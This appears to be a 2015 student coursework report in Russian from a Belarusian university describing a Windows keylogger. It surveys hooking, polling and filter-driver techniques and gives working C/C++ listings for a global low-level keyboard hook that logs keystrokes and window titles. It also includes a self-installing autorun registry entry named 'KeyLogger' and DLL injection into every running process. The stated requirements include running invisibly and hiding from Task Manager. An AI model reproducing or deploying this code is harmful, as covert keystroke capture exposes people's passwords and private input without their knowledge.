Министерство образования Республики Беларусь

Учреждение образования

БЕЛОРУССКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ ИНФОРМАТИКИ И РАДИОЭЛЕКТРОНИКИ

Факультет компьютерных систем и сетей

Кафедра электронных вычислительных машин

Дисциплина: Системное программное обеспечение вычислительных машин (СПОВМ)

ПОЯСНИТЕЛЬНАЯ ЗАПИСКА

к курсовому проекту

на тему:

«Сниффер клавиатуры»

Студент: гр.350501 Шешко В.Р.

Руководитель: Яночкин А.Л.

Минск 2015

Содержание

[Введение 3](#_Toc414805627)

[1.Обзор литературы 4](#_Toc414805628)

[2. Техническое задание 6](#_Toc414805629)

[Заключение 7](#_Toc414805630)

[Список литературы 8](#_Toc414805631)

# Введение

Общество, в котором живет современный человек, характеризуют как информационное. Компьютеры получают все более широкое применение – даже там, где, как казалось совсем недавно, их применить невозможно. Информационные технологии и их знание становится неотъемлемой частью жизни любого человека, и в основу применения этих технологий также легло применение компьютера.

Сегодня большая часть работы выполняется с использованием компьютера: электронных документов, файлов, программ и сайтов. Неудивительно, что хронометраж рабочего времени за компьютером так популярен сейчас. С его помощью можно проанализировать рабочий процесс и выявить резервы времени.

**Учет деятельности за компьютером** — дешевый и полностью объективный способ. Он идеально подходит для офисного персонала, который большую часть времени проводит на рабочем месте за компьютером.

Снифферы клавиатуры принадлежат к той группе программных продуктов, которые осуществляют контроль над деятельностью пользователя персонального компьютера. Программные продукты этого типа предназначаются исключительно для записи информации о нажатиях клавиш клавиатуры, в том числе и системных, в специализированный журнал регистрации (лог-файл), который впоследствии изучается человеком, установившим эту программу.

1. **Обзор литературы**

В этом разделе будут рассмотрены основные теоретические сведения, необходимые для создания программы «Сниффер клавиатуры».

* 1. Спецификация клавиатурных снифферов

Клавиатурный сниффер — это программное обеспечение или аппаратное устройство, регистрирующее нажатия клавиш на клавиатуре компьютера.

Клавиатурные снифферы подразделяются на аппаратные и программные. Первые представляют собой небольшие устройства, которые могут быть закреплены на клавиатуре, проводе или в системном блоке компьютера. Вторые — это специально написанные программы, предназначенные для отслеживания нажатий клавиш на клавиатуре и ведения журнала нажатых клавиш. Принципиальная идея сниффера состоит в том, чтобы внедриться между любыми двумя звеньями в цепи прохождения сигнала от нажатия пользователем клавиш на клавиатуре до появления символов на экране.

 Наиболее популярные технические подходы к построению программных клавиатурных снифферов:

* системная ловушка на сообщения о нажатии клавиш клавиатуры (устанавливается с помощью функции WinAPI SetWindowsHook, для того чтобы перехватить сообщения, посылаемые оконной процедуре.
* циклический опрос клавиатуры (с помощью функции WinAPI Get(Async)KeyState, GetKeyboardState).
* драйвер-фильтр стека клавиатурных драйверов ОС Windows.

Кейлоггеры могут внедряться в любом месте последовательности обработки, перехватывая данные о нажатых клавишах, передаваемые одной подсистемой обработки следующей подсистеме в цепочке обработчиков.

Установка ловушки для клавиатурных сообщений

Это самый распространенный метод реализации клавиатурных снифферов. Посредством вызова функции SetWindowsHookEx сниффер устанавливает глобальную ловушку на клавиатурные события для всех потоков в системе. Фильтрующая функция ловушки в этом случае располагается в отдельной динамической библиотеке, которая внедряется во все процессы системы, занимающиеся обработкой сообщений. При выборке из очереди сообщений любого потока клавиатурного сообщения система вызовет установленную фильтрующую функцию.

К достоинствам этого метода перехвата относится простота и гарантированный перехват всех нажатий клавиатуры, из недостатков можно отметить необходимость наличия отдельного файла динамической библиотеки и относительную простоту обнаружения по причине внедрения во все системные процессы.

Использование циклического опроса состояния клавиатуры

Состояние всех клавиш с небольшим интервалом опрашивается с помощью функций GetAsynсKeyState или GetKeyState. Данные функции возвращают массивы асинхронного или синхронного состояния клавиш; анализируя их, можно понять, какие клавиши были нажаты или отпущены после последнего опроса.

Достоинства данного метода — предельная простота реализации, отсутствие дополнительного модуля недостатки — отсутствие гарантии обнаружения всех нажатий, могут быть пропуски; легко обнаруживается мониторингом процессов, опрашивающих клавиатуру с высокой частотой.

Использование драйвер-фильтра драйвера класса клавиатуры Kbdclass

Документированный в DDK способ перехвата. Снифферы, построенные на основе этого метода, перехватывают запросы к клавиатуре посредством установки фильтра поверх устройства «\Device\KeyboardClass0», созданного драйвером Kbdclass. Фильтруются только запросы типа IRP\_MJ\_READ, поскольку именно они позволяют получить коды нажатых и отпущенных клавиш.

Достоинства — гарантированный перехват всех нажатий, невозможность обнаружения без использования драйвера. Недостатки — необходимость установки собственного драйвера.

При выборе средств для разработки приложения необходимо учесть множество различных аспектов, наиболее важным из которых является язык программирования, так как он в значительной степени определяет другие доступные средства. Для реализации клавиатурного сниффера наиболее эффективным будет использование языков программирования C и C++. Они предоставляют все средства для создания приложения для операционных систем семейства Windows X.

1. **Техническое задание**

1.1 Общие сведения.

Название: «Сниффер клавиатуры».

«Сниффер клавиатуры» − программа для слежения за активностью пользователя.

1.2 Назначения и цели программного средства.

Назначения: программа предназначена для отслеживания нажатия клавиш на клавиатуре, а также отслеживания изменения активного окна.

Цели: повышение производительности сотрудников на работе, при помощи контроля их активности. Родительский контроль.

1.3 Требования к программному средству

Данная программа должна вести мониторинг клавиатуры, отслеживать активные окна, активные вкладки в браузерах. Программа автоматически запускается при загрузке компьютера и работает незаметно для пользователя. Программа не должна отображаться в Диспетчере задач.

1. **Системное проектирование**

Данный проект включает в себя непосредственно два модуля: модуль для установки и инжекции динамической библиотеки и сама динамическая библиотека.

**4.1 Способ взаимодействия пользователя и программы.**

Для взаимодействия пользователя с программой был разработан интуитивно понятный интерфейс лог-файлов.

Рассмотрим взаимодействия пользователя с программой. Для запуска и установки программы требуется запустить исполняющий файл программы от имени администратора. Программа автоматически установится на компьютер и запустится, начав писать лог-файлы. После чего работа с программой сводится к анализу лог-файлов.

**4.2 Структурная схема программы**

Работу программы можно разделить на блоки, которые будут описаны далее.

**4.2.1 Исполняемый файл**

**4.2.1.1 Блок установки программы**

Для установки программы исполняемый файл и рядом лежащая библиотек копируется из текущей директории в директорию операционной системы. И исполняемый файл заносится в автозагрузку.

**4.2.1.2 Блок инжекции библиотеки**

В момент выполнения программы создается снимок всех текущих процессов. После чего во все процессы производится инжекция отслеживающей библиотеки.

**4.2.2 Инжектируемая библиотека**

При запуске поток создает именованный мьютекс, если мьютекс уже был создан, то поток завершает работу. Далее поток создает лог-файл в заданной директории, в который будет записываться информация о активности пользователя. Устанавливается низкоуровневый хук, для отслеживания нажатия клавиш.

1. **Функциональное проектирование**

Данный раздел включает в себя описание основных методов программы и их листинги.

**5.1 Процедура установки хука**

HHOOK SetWindowsHookEx( int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId) - устанавливает определяемую программой процедуру фильтра (hook) в цепочку фильтров (hook).

idHook [in] Определяет тип устанавливаемой процедуры фильтра (hook). В курсовом проекте устанавливается процедура фильтра (WH\_KEYBOARD\_LL), которая осуществляет текущий контроль за низкоуровневыми событиями ввода данных с клавиатуры.

Lpfn [in] Указатель на процедуру фильтра (hook). Если параметр dwThreadId равняется нулю или устанавливает идентификатор потока, созданного другим процессом, параметр lpfn должен указывать на процедуру фильтра (hook) в динамически подключаемой библиотеке (DLL). В противном случае, lpfn может указывать на процедуру фильтра (hook) в коде, связанном с текущим процессом.

hMod [in] Дескриптор DLL, содержащий процедуры фильтра (hook), на которую указывает параметр lpfn. параметр hMod должен быть установлен в ПУСТО (NULL), если параметр dwThreadId устанавливает поток, созданный текущим процессом, и если процедура фильтра (hook) находится внутри кода, связанного с текущим процессом.

dwThreadId [in] Устанавливает идентификатор потока с которым, процедура фильтра (hook) должна быть связана. Если этот параметр равняется нулю, процедура фильтра (hook) связывается со всеми существующими потоками, запущенными на том же самом рабочем столе, что и вызывающий поток.

**5.2 Низкоуровневый хук**

LRESULT CALLBACK LowLevelKeyboardHook(int nCode, WPARAM wParam, LPARAM lParam) - система вызывает эту функцию каждый раз, когда собирается вставить новое событие ввода с клавиатуры в очередь ввода данных потока. Ввод с клавиатуры может исходить от локального драйвера клавиатуры или от вызовов функции keybd\_event.

wParam [in] Устанавливает идентификатор сообщения клавиатуры.

lParam [in] Указатель на структуру KBDLLHOOKSTRUCT.

**5.2.1 Листинг функции LowLevelKeyboardHook**

LRESULT CALLBACK LowLevelKeyboardHook(int nCode, WPARAM wParam, LPARAM lParam)

{

GetKeyState(NULL);

if (nCode == HC\_ACTION && (wParam == WM\_KEYDOWN || wParam == WM\_SYSKEYDOWN))

{

DWORD written;

KBDLLHOOKSTRUCT \*ks = (KBDLLHOOKSTRUCT\*) lParam;

SYSTEMTIME st;

CHAR moduleName[MAX\_MODULE\_NAME];

DWORD winID = NULL;

HWND activeWindow = GetForegroundWindow();

GetWindowThreadProcessId(activeWindow, &winID);

GetWindowText(activeWindow, moduleName, MAX\_MODULE\_NAME);

if (winID != prevWinID || strcmp(moduleName, prevModuleName))

{

prevWinID = winID;

strcpy(prevModuleName, moduleName);

sprintf(moduleName + strlen(moduleName), " : %d", winID);

strcat(moduleName, "\r\n");

WriteFile(file, moduleName, strlen(moduleName), &written, NULL);

}

GetLocalTime(&st);

GetTimeFormat(LOCALE\_SYSTEM\_DEFAULT, 0, &st, NULL, g\_buf, MAX\_BUFSIZE);

strcat(g\_buf, " ");

char \* buf = g\_buf + strlen(g\_buf);

if (getSysKey(ks->vkCode))

{

WriteFile(file, g\_buf, strlen(g\_buf), &written, NULL);

}

else if (getCharKey(ks->vkCode, ks->scanCode, (LPWORD) buf, winID))

{

strcpy(buf + 1, "\r\n");

WriteFile(file, g\_buf, strlen(g\_buf), &written, NULL);

}

else

{

strcat(g\_buf, "[unknown]\r\n");

WriteFile(file, g\_buf, strlen(g\_buf), &written, NULL);

}

}

return CallNextHookEx(hook, nCode, wParam, lParam);

}

Структура KBDLLHOOKSTRUCT содержит информацию о низкоуровневом событии ввода данных с клавиатуры.

typedef struct {

DWORD vkCode;

DWORD scanCode;

DWORD flags;

DWORD time;

ULONG\_PTR dwExtraInfo;

} KBDLLHOOKSTRUCT, \*PKBDLLHOOKSTRUCT;

DWORD vkCode устанавливает код виртуальной клавиши. Код должен быть значением в диапазоне 1 - 254.

DWORD scanCode устанавливает аппаратный код опроса клавиатуры (скэн-код) клавиши.

DWORD flags устанавливает флажок дополнительной клавиши, флажок события ввода, контекстный код и флажок переходного состояния.

DWORD time устанавливает отметку времени для этого сообщения.

ULONG\_PTR dwExtraInfo устанавливает дополнительную информацию, связанную с сообщением.

**5.3 Процедура установки программы**

Для установки приложения была разработана функция bool Install(char\* injectionDllName). – копирует исполняемый файл и инжектируемую библиотеку в директорию операционной системы и устанавливает программу в автозагрузку. Возвращает значение true при успешной установке, при ошибке возвращает значение false.

injectionDllName – имя инжектируемой библиотеки, которая должна находится рядом с исполняемым файлом.

**5.3.1 Листинг функции Install**

bool Install(char\* injectionDllName)

{

HKEY hk;

char currentPath[MAX\_PATH],

sysbuf[MAX\_PATH],

\*fileName;

GetModuleFileName(GetModuleHandle(NULL), currentPath, MAX\_PATH);

fileName = strrchr(currentPath, '\\');

GetWindowsDirectory(sysbuf, MAX\_PATH);

strcat(sysbuf, fileName);

if (!CopyFile(currentPath, sysbuf, false))

{

std::cout << "Error: Can't copy file:" << std::endl;

std::cout << sysbuf << std::endl;

return false;

}

if (ERROR\_SUCCESS == RegCreateKey(HKEY\_CURRENT\_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk))

{

RegSetValueEx(hk, "KeyLogger", 0, REG\_SZ, (LPBYTE) sysbuf, strlen(sysbuf));

RegCloseKey(hk);

}

else

{

std::cout << "Error: Can't create RegKey." << std::endl;

return false;

}

GetModuleFileName(GetModuleHandle(NULL), currentPath, MAX\_PATH);

GetWindowsDirectory(sysbuf, MAX\_PATH);

strcpy(fileName, injectionDllName);

strcat(sysbuf, fileName);

if (!CopyFile(currentPath, sysbuf, false))

{

std::cout << "Error: Can't copy file:" << std::endl;

std::cout << sysbuf << std::endl;

return false;

}

return true;

}

**5.4 Процедура инжекции библиотеки**

Инжекция библиотеки производится с помощью функции bool Inject(DWORD pId, char \*dllName) – функция открывает существующий объект процесса с идентификатором процесса pId. Далее загружается адрес функции LoadLibraryA из динамической библиотеки kernel32.dll. После чего в открытом процессе выделяется память для инжектируемой библиотеки, и инжектируемая библиотека записывается в адресное пространство открытого процесса. Дистанционно создается новый поток в открытом процессе, выполняющий код инжектируемой библиотеки. Возвращает значение true при успешной инжекции, при ошибке возвращает значение false.

DWORD pId – идентификатор процесса для инжекции.

char \*dllName – имя инжектируемой библиотеки.

**5.4.1 Листинг функции Inject**

bool Inject(DWORD pId, char \*dllName)

{

HANDLE h = OpenProcess(PROCESS\_ALL\_ACCESS, false, pId);

if (h)

{

LPVOID LoadLibAddr = (LPVOID) GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");

if (LoadLibAddr == NULL) {

std::cout << "Error: the LoadLibraryA function was not found inside kernel32.dll library.\n" << std::endl;

return false;

}

LPVOID dereercomp = VirtualAllocEx(h, NULL, strlen(dllName), MEM\_COMMIT | MEM\_RESERVE, PAGE\_READWRITE);

if (dereercomp == NULL) {

std::cout << "Error: the memory could not be allocated inside the chosen process.\n" << std::endl;

return false;

}

int n = WriteProcessMemory(h, dereercomp, dllName, strlen(dllName), NULL);

if (n == 0) {

std::cout << "Error: there was no bytes written to the process's address space.\n" << std::endl;

return false;

}

HANDLE asdc = CreateRemoteThread(h, NULL, NULL, (LPTHREAD\_START\_ROUTINE) LoadLibAddr, dereercomp, 0, NULL);

if (asdc == NULL) {

printf("Error: the remote thread could not be created.\n");

return false;

}

return true;

}

std::cout << "Error: Can't open process:" << pId << std::endl;

return false;

}

**5.5 Процедура получения снимка процессов**

HANDLE WINAPI CreateToolhelp32Snapshot (DWORD dwFlags, DWORD th32ProcessID) - моментальный снимок из указанных процессов, а также кучи, модулей и потоков, используемые этими процессами.

DWORD dwFlags – части системы, которые будут включены в снимок. Для получения снимка всех процессов — это параметр должен устанавливаться в TH32CS\_SNAPPROCESS.

DWORD th32ProcessID – для dwFlags TH32CS\_SNAPPROCESS этот параметр игнорируется.

Если функция завершается успешно, она возвращает открытый дескриптор к указанному снимку.

**5.5.1 Листинг кода инжекции в процессы, полученные в снимке**

hProcessSnap = CreateToolhelp32Snapshot(TH32CS\_SNAPPROCESS, NULL);

if (hProcessSnap == INVALID\_HANDLE\_VALUE)

return FALSE;

pe32.dwSize = sizeof(PROCESSENTRY32);

do {

if (!Process32Next(hProcessSnap, &pe32))

return FALSE;

if (Inject(pe32.th32ProcessID, dllPath))

std::cout << "Injection success:" << pe32.szExeFile << std::endl;

} while (true);

**Заключение**

# Список литературы